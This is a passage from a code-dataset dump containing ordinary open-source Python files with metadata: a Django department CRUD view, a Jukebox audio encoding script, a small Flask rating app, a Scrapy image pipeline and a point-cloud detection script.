{"api_name": "os.path", "line_number": 379, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QStatusBar", "line_number": 388, "usage_type": "call"}, {"api_name": "myPackage.ImageViewer.ImageViewer", "line_number": 393, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.about", "line_number": 420, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 420, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 423, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 423, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getSaveFileName", "line_number": 450, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 450, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 465, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 465, "usage_type": "name"}, {"api_name": "cv2.imdecode", "line_number": 516, "usage_type": "call"}, {"api_name": "numpy.fromfile", "line_number": 516, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 516, "usage_type": "attribute"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 516, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.about", "line_number": 553, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 553, "usage_type": "name"}, {"api_name": "myPackage.OpenExcelBtn.is_workbook_open", "line_number": 555, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.about", "line_number": 556, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 556, "usage_type": "name"}, {"api_name": "xlwings.App", "line_number": 560, "usage_type": "call"}, {"api_name": "xlwings.constants", "line_number": 563, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 573, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 573, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 576, "usage_type": "call"}]} {"seq_id": "2482086294", "text": "from django.http import JsonResponse\nfrom django.shortcuts import render, redirect, HttpResponse\nfrom deploy import models\nfrom deploy.utils.form import DepartModelForm\nfrom deploy.utils.pagination import Pagination\nfrom django.views.decorators.csrf import csrf_exempt\n\n\n@csrf_exempt\ndef depart_add(request):\n \"\"\" 添加部门 \"\"\"\n if request.method == 'GET':\n # 用于获取数据库字段，并展示在页面上，因为我们的model_form中的fields = ['depart_name']，所以我们只展示部门名称这个字段\n form = DepartModelForm()\n # 将获取的字段展示到html页面上\n return render(request, 'depart_add.html', {'form': form})\n\n # 获取用户输入的部门信息(form表单)\n form = DepartModelForm(data=request.POST)\n # 打印用户输入的数据\n # print(form.data)\n if form.is_valid():\n # 打印校验合格的数据\n # print(form.cleaned_data)\n # 如果数据合法，则将获取到的数据全部保存到数据库中\n form.save()\n # return redirect('/depart/list/')\n return JsonResponse({\"status\": True})\n # return HttpResponse(\"添加成功\")\n return JsonResponse({\"status\": False, 'error': form.errors})\n # return render(request, 'depart_add.html', {'form': form})\n # return HttpResponse(\"添加失败\")\n\n\ndef depart_list(request):\n \"\"\" 部门列表 \"\"\"\n # 从数据库中获取部门数据\n queryset = models.Department.objects.all()\n\n # 分页\n page_object = Pagination(request, queryset)\n form = DepartModelForm()\n\n context = {\n 'form': form,\n \"queryset\": page_object.page_queryset, # 分完页的数据\n \"page_string\": page_object.html() # 生成页码\n }\n # 将部门数据返回给html页面进行展示\n return render(request, 'depart_list.html', context)\n\n\ndef depart_delete(request):\n \"\"\" 删除部门 \"\"\"\n # 根据id获取页面上要删除的行信息\n uid = request.GET.get('uid')\n # 判断页面输入的行信息是否在数据库中存在\n exists = models.Department.objects.filter(id=uid).exists()\n if not exists:\n return JsonResponse({\"status\": \"False\", \"error\": \"部门信息不存在\"})\n models.Department.objects.filter(id=uid).delete()\n return JsonResponse({\"status\": \"True\"})\n\n\n@csrf_exempt\ndef depart_edit(request):\n \"\"\" 编辑部门 \"\"\"\n uid = request.GET.get('uid')\n row_obj = models.Department.objects.filter(id=uid).first()\n if not row_obj:\n return JsonResponse({\"status\": False, \"error\": \"部门信息不存在\"})\n form = DepartModelForm(data=request.POST, instance=row_obj)\n if form.is_valid():\n form.save()\n return JsonResponse({\"status\": True})\n return JsonResponse({\"status\": False, \"error\": form.errors})\n\n\ndef depart_detail(request):\n \"\"\" 获取部门详细信息 用于编辑部门信息 \"\"\"\n uid = request.GET.get('uid')\n row_dict = models.Department.objects.filter(id=uid).values('depart_name').first()\n if not row_dict:\n return JsonResponse({\"status\": False, \"error\": \"部门信息不存在\"})\n # 封装返回数据\n result = {\n \"status\": True,\n \"data\": row_dict\n }\n return JsonResponse(result)\n", "repo_name": "tl4832194/OMS", "sub_path": "deploy/views/depart.py", "file_name": "depart.py", "file_ext": "py", "file_size_in_byte": 3246, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "deploy.utils.form.DepartModelForm", "line_number": 14, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 16, "usage_type": "call"}, {"api_name": "deploy.utils.form.DepartModelForm", "line_number": 19, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 28, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 30, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 9, "usage_type": "name"}, {"api_name": "deploy.models.Department.objects.all", "line_number": 38, "usage_type": "call"}, {"api_name": "deploy.models.Department", "line_number": 38, "usage_type": "attribute"}, {"api_name": "deploy.models", "line_number": 38, "usage_type": "name"}, {"api_name": "deploy.utils.pagination.Pagination", "line_number": 41, "usage_type": "call"}, {"api_name": "deploy.utils.form.DepartModelForm", "line_number": 42, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 50, "usage_type": "call"}, {"api_name": "deploy.models.Department.objects.filter", "line_number": 58, "usage_type": "call"}, {"api_name": "deploy.models.Department", "line_number": 58, "usage_type": "attribute"}, {"api_name": "deploy.models", "line_number": 58, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 60, "usage_type": "call"}, {"api_name": "deploy.models.Department.objects.filter", "line_number": 61, "usage_type": "call"}, {"api_name": "deploy.models.Department", "line_number": 61, "usage_type": "attribute"}, {"api_name": "deploy.models", "line_number": 61, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 62, "usage_type": "call"}, {"api_name": "deploy.models.Department.objects.filter", "line_number": 69, "usage_type": "call"}, {"api_name": "deploy.models.Department", "line_number": 69, "usage_type": "attribute"}, {"api_name": "deploy.models", "line_number": 69, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 71, "usage_type": "call"}, {"api_name": "deploy.utils.form.DepartModelForm", "line_number": 72, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 75, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 76, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 65, "usage_type": "name"}, {"api_name": "deploy.models.Department.objects.filter", "line_number": 82, "usage_type": "call"}, {"api_name": "deploy.models.Department", "line_number": 82, "usage_type": "attribute"}, {"api_name": "deploy.models", "line_number": 82, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 84, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 90, "usage_type": "call"}]} {"seq_id": "3952964987", "text": "import os\nimport argparse\nimport math\n\nimport torch\nimport numpy as np\nfrom scipy.io import wavfile\nfrom tqdm import tqdm\n\nimport jukebox\nfrom jukebox.utils.dist_utils import setup_dist_from_mpi\nfrom jukebox.hparams import Hyperparams\nfrom jukebox.sample import make_model, load_prompts\nfrom jukebox.utils.audio_utils import save_wav\nimport utils.globals as uglobals\n\n# Globals\nMODEL = '1b_lyrics'\n\ndef enc_dec(dir, out_dir, dist_setup=None, controlnet=False):\n # Set up devices\n if dist_setup == None:\n rank, local_rank, device = setup_dist_from_mpi(port=29500)\n else:\n rank, local_rank, device = dist_setup\n\n # Set up model hps for inference\n hps = Hyperparams(\n name = 'sample_1b',\n levels = 3,\n sample_length_in_seconds = 20,\n total_sample_length_in_seconds = 180,\n sr = 44100,\n n_samples = 1,\n hop_fraction = [0.5, 0.5, 0.125]\n )\n hps.strict = False\n hps.controlnet = controlnet\n\n # Load the models\n vqvae, priors = make_model(MODEL, device, hps)\n\n # Throw all the prior models to the cpu\n for prior in priors:\n prior.prior.cpu()\n\n if not os.path.exists(f'{out_dir}/z'): \n os.makedirs(f'{out_dir}/z')\n if not os.path.exists(f'{out_dir}/recons'): \n os.makedirs(f'{out_dir}/recons')\n\n for file_name in tqdm(os.listdir(dir)):\n if not 'wav' in file_name:\n continue\n sample_path = f'{dir}/{file_name}'\n save_name_z = f'{out_dir}/z/{file_name}'.replace('.wav', '.pt')\n save_name_recons = f'{out_dir}/recons/{file_name}'\n\n with torch.no_grad():\n for prior_lv, prior in enumerate(reversed(priors)):\n \n sr, data = wavfile.read(sample_path)\n\n raw_to_tokens = prior.raw_to_tokens\n duration = (int(len(data)) // raw_to_tokens) * raw_to_tokens\n x = load_prompts([sample_path], duration, hps)\n \n i = 0\n z, x_recons = [], []\n\n z = prior.encode(x, bs_chunks=x.shape[0])\n x_recons = prior.decode(z, bs_chunks=z[prior_lv].shape[0])\n\n torch.save(z, save_name_z.replace('.pt', f'_{2-prior_lv}.pt'))\n if not os.path.exists(f'{save_name_recons}_{2-prior_lv}'): \n os.makedirs(f'{save_name_recons}_{2-prior_lv}')\n save_wav(f'{save_name_recons}_{2-prior_lv}', x_recons, hps.sr)\n\n return rank, local_rank, device\n\ndef dec(pred_dir, src_dir, tar_dir, out_dir, dist_setup=None, controlnet=False):\n # Set up devices\n if dist_setup == None:\n rank, local_rank, device = setup_dist_from_mpi(port=29500)\n else:\n rank, local_rank, device = dist_setup\n\n # Set up model hps for inference\n hps = Hyperparams(\n name = 'sample_1b',\n levels = 3,\n sample_length_in_seconds = 20,\n total_sample_length_in_seconds = 180,\n sr = 44100,\n n_samples = 1,\n hop_fraction = [0.5, 0.5, 0.125]\n )\n hps.strict = False\n hps.controlnet = controlnet\n\n # Load the models\n vqvae, priors = make_model(MODEL, device, hps)\n prior = priors[-1] # Top level prior\n\n for file_name in os.listdir(pred_dir):\n save_dir = f'{out_dir}/{file_name[:-3]}'\n if not os.path.exists(save_dir): \n os.makedirs(save_dir)\n\n path = f'{pred_dir}/{file_name}'\n \n # Decode the prediction and oracle\n data = torch.load(path)\n z_pred = data['z_pred']\n z_true = data['z_true']\n \n x_pred = prior.decode([z_pred], bs_chunks=z_pred.shape[0])\n x_true = prior.decode([z_true], bs_chunks=z_pred.shape[0])\n\n if not os.path.exists(f'{save_dir}/pred'): \n os.makedirs(f'{save_dir}/pred')\n if not os.path.exists(f'{save_dir}/oracle'): \n os.makedirs(f'{save_dir}/oracle')\n save_wav(f'{save_dir}/pred', x_pred, hps.sr)\n save_wav(f'{save_dir}/oracle', x_true, hps.sr)\n\n # Retrieve the original vocal wav\n # URMP format: underscores in song names\n splits = file_name[:-3].split('_')\n start = splits[-2]\n total = splits[-1]\n song_name = '_'.join(splits[:-2])\n\n wav_root = f'{src_dir}/{song_name}'\n\n # Retrieve all pieces\n i = 0\n while True:\n wav_path = f'{wav_root}_{i}.wav'\n if not os.path.isfile(wav_path):\n break\n sr, data = wavfile.read(wav_path)\n data = data.reshape(1, -1)\n if i == 0:\n src_wav = data\n else:\n src_wav = np.concatenate((src_wav, data), axis=1)\n i += 1\n\n # Align the right slice\n start_idx = int(math.floor(src_wav.shape[1] / int(total) * int(start)))\n\n src_slice = src_wav[:, start_idx: start_idx + x_pred.shape[1]]\n src_slice = torch.tensor(src_slice).reshape(1, -1, 1).cuda() / 40000 # TODO: Check the scale \n\n try:\n mix_pred = src_slice + x_pred\n mix_oracle = src_slice + x_true\n if not os.path.exists(f'{save_dir}/mix_pred'): \n os.makedirs(f'{save_dir}/mix_pred')\n if not os.path.exists(f'{save_dir}/mix_oracle'): \n os.makedirs(f'{save_dir}/mix_oracle')\n save_wav(f'{save_dir}/mix_pred', mix_pred, hps.sr)\n save_wav(f'{save_dir}/mix_oracle', mix_oracle, hps.sr)\n except:\n pass\n \n # Also include a slice from the target\n wav_root = f'{tar_dir}/{song_name}'\n\n # Retrieve all pieces\n i = 0\n while True:\n wav_path = f'{wav_root}_{i}.wav'\n if not os.path.isfile(wav_path):\n break\n sr, data = wavfile.read(wav_path)\n data = data.reshape(1, -1)\n if i == 0:\n tar_wav = data\n else:\n tar_wav = np.concatenate((tar_wav, data), axis=1)\n i += 1\n\n # Align the right slice\n start_idx = int(math.floor(tar_wav.shape[1] / int(total) * int(start)))\n\n tar_slice = tar_wav[:, start_idx: start_idx + x_pred.shape[1]]\n tar_slice = torch.tensor(tar_slice).reshape(1, -1, 1).cuda() / 40000 # TODO: Check the scale \n \n # Save\n if not os.path.exists(f'{save_dir}/src'): \n os.makedirs(f'{save_dir}/src')\n if not os.path.exists(f'{save_dir}/tar'): \n os.makedirs(f'{save_dir}/tar')\n save_wav(f'{save_dir}/src', src_slice, hps.sr)\n save_wav(f'{save_dir}/tar', tar_slice, hps.sr)\n\n return\n\nif __name__ == '__main__':\n dist_setup = None\n dist_setup = enc_dec(f'{uglobals.URMP_PROCESSED_DIR}/wav/train', f'{uglobals.URMP_ORACLE}/train/wav', dist_setup=dist_setup)\n dist_setup = enc_dec(f'{uglobals.URMP_PROCESSED_DIR}/sine/dev', f'{uglobals.URMP_ORACLE}/dev/sine', dist_setup=dist_setup)\n dist_setup = enc_dec(f'{uglobals.URMP_PROCESSED_DIR}/wav/dev', f'{uglobals.URMP_ORACLE}/dev/wav', dist_setup=dist_setup)\n dist_setup = enc_dec(f'{uglobals.URMP_PROCESSED_DIR}/sine/test', f'{uglobals.URMP_ORACLE}/test/sine', dist_setup=dist_setup)\n dist_setup = enc_dec(f'{uglobals.URMP_PROCESSED_DIR}/wav/test', f'{uglobals.URMP_ORACLE}/test/wav/', dist_setup=dist_setup)", "repo_name": "i-need-sleep/juke_control", "sub_path": "code/vqvae_inference.py", "file_name": "vqvae_inference.py", "file_ext": "py", "file_size_in_byte": 7339, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "jukebox.utils.dist_utils.setup_dist_from_mpi", "line_number": 23, "usage_type": "call"}, {"api_name": "jukebox.hparams.Hyperparams", "line_number": 28, "usage_type": "call"}, {"api_name": "jukebox.sample.make_model", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 50, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 52, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 59, "usage_type": "call"}, {"api_name": "scipy.io.wavfile.read", "line_number": 62, "usage_type": "call"}, {"api_name": "scipy.io.wavfile", "line_number": 62, "usage_type": "name"}, {"api_name": "jukebox.sample.load_prompts", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 76, "usage_type": "call"}, {"api_name": "jukebox.utils.audio_utils.save_wav", "line_number": 77, "usage_type": "call"}, {"api_name": "jukebox.utils.dist_utils.setup_dist_from_mpi", "line_number": 84, "usage_type": "call"}, {"api_name": "jukebox.hparams.Hyperparams", "line_number": 89, "usage_type": "call"}, {"api_name": "jukebox.sample.make_model", "line_number": 102, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 123, "usage_type": "call"}, {"api_name": "jukebox.utils.audio_utils.save_wav", "line_number": 124, "usage_type": "call"}, {"api_name": "jukebox.utils.audio_utils.save_wav", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "scipy.io.wavfile.read", "line_number": 142, "usage_type": "call"}, {"api_name": "scipy.io.wavfile", "line_number": 142, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 147, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 154, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 159, "usage_type": "call"}, {"api_name": "os.path", "line_number": 159, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 160, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 161, "usage_type": "call"}, {"api_name": "os.path", "line_number": 161, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 162, "usage_type": "call"}, {"api_name": "jukebox.utils.audio_utils.save_wav", "line_number": 163, "usage_type": "call"}, {"api_name": "jukebox.utils.audio_utils.save_wav", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 175, "usage_type": "call"}, {"api_name": "os.path", "line_number": 175, "usage_type": "attribute"}, {"api_name": "scipy.io.wavfile.read", "line_number": 177, "usage_type": "call"}, {"api_name": "scipy.io.wavfile", "line_number": 177, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 182, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 186, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 189, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 192, "usage_type": "call"}, {"api_name": "os.path", "line_number": 192, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 193, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 194, "usage_type": "call"}, {"api_name": "os.path", "line_number": 194, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 195, "usage_type": "call"}, {"api_name": "jukebox.utils.audio_utils.save_wav", "line_number": 196, "usage_type": "call"}, {"api_name": "jukebox.utils.audio_utils.save_wav", "line_number": 197, "usage_type": "call"}, {"api_name": "utils.globals.URMP_PROCESSED_DIR", "line_number": 203, "usage_type": "attribute"}, {"api_name": "utils.globals", "line_number": 203, "usage_type": "name"}, {"api_name": "utils.globals.URMP_ORACLE", "line_number": 203, "usage_type": "attribute"}, {"api_name": "utils.globals.URMP_PROCESSED_DIR", "line_number": 204, "usage_type": "attribute"}, {"api_name": "utils.globals", "line_number": 204, "usage_type": "name"}, {"api_name": "utils.globals.URMP_ORACLE", "line_number": 204, "usage_type": "attribute"}, {"api_name": "utils.globals.URMP_PROCESSED_DIR", "line_number": 205, "usage_type": "attribute"}, {"api_name": "utils.globals", "line_number": 205, "usage_type": "name"}, {"api_name": "utils.globals.URMP_ORACLE", "line_number": 205, "usage_type": "attribute"}, {"api_name": "utils.globals.URMP_PROCESSED_DIR", "line_number": 206, "usage_type": "attribute"}, {"api_name": "utils.globals", "line_number": 206, "usage_type": "name"}, {"api_name": "utils.globals.URMP_ORACLE", "line_number": 206, "usage_type": "attribute"}, {"api_name": "utils.globals.URMP_PROCESSED_DIR", "line_number": 207, "usage_type": "attribute"}, {"api_name": "utils.globals", "line_number": 207, "usage_type": "name"}, {"api_name": "utils.globals.URMP_ORACLE", "line_number": 207, "usage_type": "attribute"}]} {"seq_id": "72963048543", "text": "from flask import *\nimport pandas as pd\nimport sqlite3\nimport re\n\nDATABASE = 'database.db'\n\napp = Flask(__name__)\n\ndef get_db():\n db = getattr(g, '_database', None)\n if db is None:\n db = g._database = sqlite3.connect(DATABASE)\n db.row_factory = sqlite3.Row\n return db\n\ndef query_db(query, args=(), one=False):\n cur = get_db().execute(query, args)\n rv = cur.fetchall()\n cur.close()\n return (rv[0] if rv else None) if one else rv\n\n@app.teardown_appcontext\ndef close_connection(exception):\n db = getattr(g, '_database', None)\n if db is not None:\n db.close()\n\n@app.route(\"/save\", methods=['POST'])\ndef save():\n id = int(request.form['id'])\n rating = int(request.form['rating'])\n # If the rating is equal to the current one, remove it\n # Note: always, always, always use prepared statements, don't construct an SQL-string by hand\n # by appending values together. I.e. don't do 'SELECT rating FROM feedback WHERE id = ' + id\n previous_rating = query_db('SELECT rating FROM feedback WHERE id = ?', (id,), one=True)\n previous_rating = int(previous_rating['rating']) if previous_rating else 0\n if rating == previous_rating:\n get_db().cursor().execute('DELETE FROM feedback WHERE id = ?', (id,))\n get_db().commit()\n rating = 0\n else:\n get_db().cursor().execute('INSERT OR REPLACE INTO feedback (id, rating) VALUES (?, ?)', (id, rating))\n get_db().commit()\n # If this request comes from JavaScript, return a JSON answer with the new rating\n if request.is_xhr:\n return jsonify(new_rating=rating)\n # Otherwise, redirect to user again to the table page\n return redirect(url_for('table_with_forms'))\n\n@app.route(\"/\")\n@app.route(\"/forms\")\ndef table_with_forms():\n table = query_db('SELECT data.id, date, film, gross, feedback.rating FROM data LEFT JOIN feedback ON feedback.id = data.id')\n return render_template('index-with-forms.html', table=table)\n\n@app.route(\"/ajax\")\ndef table_with_ajax():\n table = query_db('SELECT data.id, date, film, gross, feedback.rating FROM data LEFT JOIN feedback ON feedback.id = data.id')\n return render_template('index-with-ajax.html', table=table)\n\nif __name__ == \"__main__\":\n # We need to use app_context since get_db() uses Flask's magic .g variable\n with app.app_context():\n # Read in a table from Wikipedia to use as our example data\n dt = pd.read_html('https://en.wikipedia.org/w/index.php?title=List_of_2016_box_office_number-one_films_in_the_United_States&oldid=759223313',\n header=0, index_col=0, match='Date',\n converters={'Date': lambda x: re.sub(r'\\d+-\\d+-\\d+-\\d+', '', str(x))})[0]\n dt.to_sql('data', get_db(), if_exists='replace', index=True, index_label='id')\n # Prepare the feedback table if it doesn't exist\n get_db().cursor().execute('CREATE TABLE IF NOT EXISTS feedback (id INTEGER PRIMARY KEY, rating INTEGER)')\n get_db().commit()\n app.run(debug=True)", "repo_name": "Macuyiko/simple-flask-feedback-table", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 3013, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sqlite3.connect", "line_number": 13, "usage_type": "call"}, {"api_name": "sqlite3.Row", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pandas.read_html", "line_number": 66, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 68, "usage_type": "call"}]} {"seq_id": "29001591317", "text": "# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\nimport os\nimport requests\n\nclass MaijiaxiumotePipeline(object):\n basepath = 'D://spiderFile/maijiaxiumote/'\n basedomain = 'http://www.tbqq.net'\n def process_item(self, item, spider):\n # print(item)\n name = item['name'][0]\n age = item['age'][0]\n position = item['position'][0]\n c_type = item['c_type'][0]\n pics = item['pics']\n picdetails = item['picdetails']\n path = self.basepath+name+'_'+age+'_'+position+'_'+c_type+'_'\n print(path)\n print(pics)\n print(picdetails)\n # 保存详情图\n for url in pics:\n fileName = path + url[url.rfind('/')+1:]\n if(not os.path.exists(fileName)):\n print(url)\n r = requests.get(self.basedomain+'/'+url)\n with open(fileName, 'wb') as f:\n f.write(r.content)\n for url in picdetails:\n fileName = path + url[url.rfind('/')+1:]\n if(not os.path.exists(fileName)):\n print(url)\n r = requests.get(self.basedomain+'/'+url)\n with open(fileName, 'wb') as f:\n f.write(r.content) \n return item\n\n \n\n def mkdir(self,path):\n # 去除首位空格\n path=path.strip()\n # 去除尾部 \\ 符号\n path=path.rstrip(\"\\\\\")\n \n # 判断路径是否存在\n # 存在 True\n # 不存在 False\n isExists=os.path.exists(path)\n \n # 判断结果\n if not isExists:\n # 如果不存在则创建目录\n os.makedirs(path) \n print(path+' 创建成功')\n return True\n else:\n # 如果目录存在则不创建，并提示目录已存在\n print(path+' 目录已存在')\n return False", "repo_name": "SuperKenVery/tieba_spider", "sub_path": "maijiaxiumote/maijiaxiumote/pipelines.py", "file_name": "pipelines.py", "file_ext": "py", "file_size_in_byte": 2034, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.exists", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 59, "usage_type": "call"}]} {"seq_id": "41280671974", "text": "import argparse\nimport glob\nfrom pathlib import Path\nimport pickle \n\nimport numpy as np\nimport torch\n\nfrom pcdet.config import cfg, cfg_from_yaml_file\nfrom pcdet.datasets import DatasetTemplate\nfrom pcdet.models import build_network, load_data_to_gpu\nfrom pcdet.utils import common_utils\n\n\"\"\"\nThis script gives us the bounding boxes for the scans that we provide\n\"\"\"\n\n\nclass DemoDataset(DatasetTemplate):\n def __init__(self, dataset_cfg, class_names, training=True, root_path=None, logger=None, ext='.bin'):\n \"\"\"\n Args:\n root_path:\n dataset_cfg:\n class_names:\n training:\n logger:\n \"\"\"\n super().__init__(\n dataset_cfg=dataset_cfg, class_names=class_names, training=training, root_path=root_path, logger=logger\n )\n self.root_path = root_path\n self.ext = ext\n data_file_list = glob.glob(str(root_path / f'*{self.ext}')) if self.root_path.is_dir() else [self.root_path]\n\n data_file_list.sort()\n self.sample_file_list = data_file_list\n\n def __len__(self):\n return len(self.sample_file_list)\n\n def __getitem__(self, index):\n if self.ext == '.bin':\n points = np.fromfile(self.sample_file_list[index], dtype=np.float32).reshape(-1, 4)\n elif self.ext == '.npy':\n points = np.load(self.sample_file_list[index])\n else:\n raise NotImplementedError\n\n input_dict = {\n 'points': points,\n 'frame_id': index,\n }\n\n data_dict = self.prepare_data(data_dict=input_dict)\n return data_dict\n\n\ndef parse_config():\n\n datapath = \"/home/sandhu/project/p04-masterproject/OpenPCDet/data/kitti/odometry/dataset/sequences/08/velodyne\"\n \n parser = argparse.ArgumentParser(description='arg parser')\n parser.add_argument('--cfg_file', type=str, default='cfgs/kitti_models/pv_rcnn.yaml',\n help='specify the config for demo')\n parser.add_argument('--data_path', type=str, default=datapath,\n help='specify the point cloud data file or directory')\n parser.add_argument('--ckpt', type=str, default=\"../checkpoints/pv_rcnn_8369.pth\", help='specify the pretrained model')\n parser.add_argument('--ext', type=str, default='.bin', help='specify the extension of your point cloud data file')\n\n args = parser.parse_args()\n\n cfg_from_yaml_file(args.cfg_file, cfg)\n\n return args, cfg\n\n\ndef main():\n predictions = {}\n args, cfg = parse_config()\n logger = common_utils.create_logger()\n logger.info('-----------------Getting Obj bboxes from pv-rcnn-------------------------')\n demo_dataset = DemoDataset(\n dataset_cfg=cfg.DATA_CONFIG, class_names=cfg.CLASS_NAMES, training=False,\n root_path=Path(args.data_path), ext=args.ext, logger=logger\n )\n logger.info(f'Total number of samples: \\t{len(demo_dataset)}')\n\n model = build_network(model_cfg=cfg.MODEL, num_class=len(cfg.CLASS_NAMES), dataset=demo_dataset)\n model.load_params_from_file(filename=args.ckpt, logger=logger, to_cpu=True)\n model.cuda()\n model.eval()\n with torch.no_grad():\n for idx, data_dict in enumerate(demo_dataset):\n logger.info(f'Processed sample index: \\t{idx + 1}')\n data_dict = demo_dataset.collate_batch([data_dict])\n load_data_to_gpu(data_dict)\n pred_dicts, _ = model.forward(data_dict)\n \n \n predictions[demo_dataset.sample_file_list[idx]] = {\"boxes\" : pred_dicts[0]['pred_boxes'].to(\"cpu\"),\n \"labels\" :pred_dicts[0]['pred_labels'].to(\"cpu\")}\n # print(pred_dicts[0].keys())\n # if idx == 100:\n # break\n\n with open(\"obj_boxes.pkl\", 'wb') as f:\n pickle.dump(predictions, f) \n print(\"file dumped\")\n \n \n logger.info('Demo done.')\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "vardeep-sandhu/MasterProject2", "sub_path": "getting_obj.py", "file_name": "getting_obj.py", "file_ext": "py", "file_size_in_byte": 3996, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pcdet.datasets.DatasetTemplate", "line_number": 19, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.fromfile", "line_number": 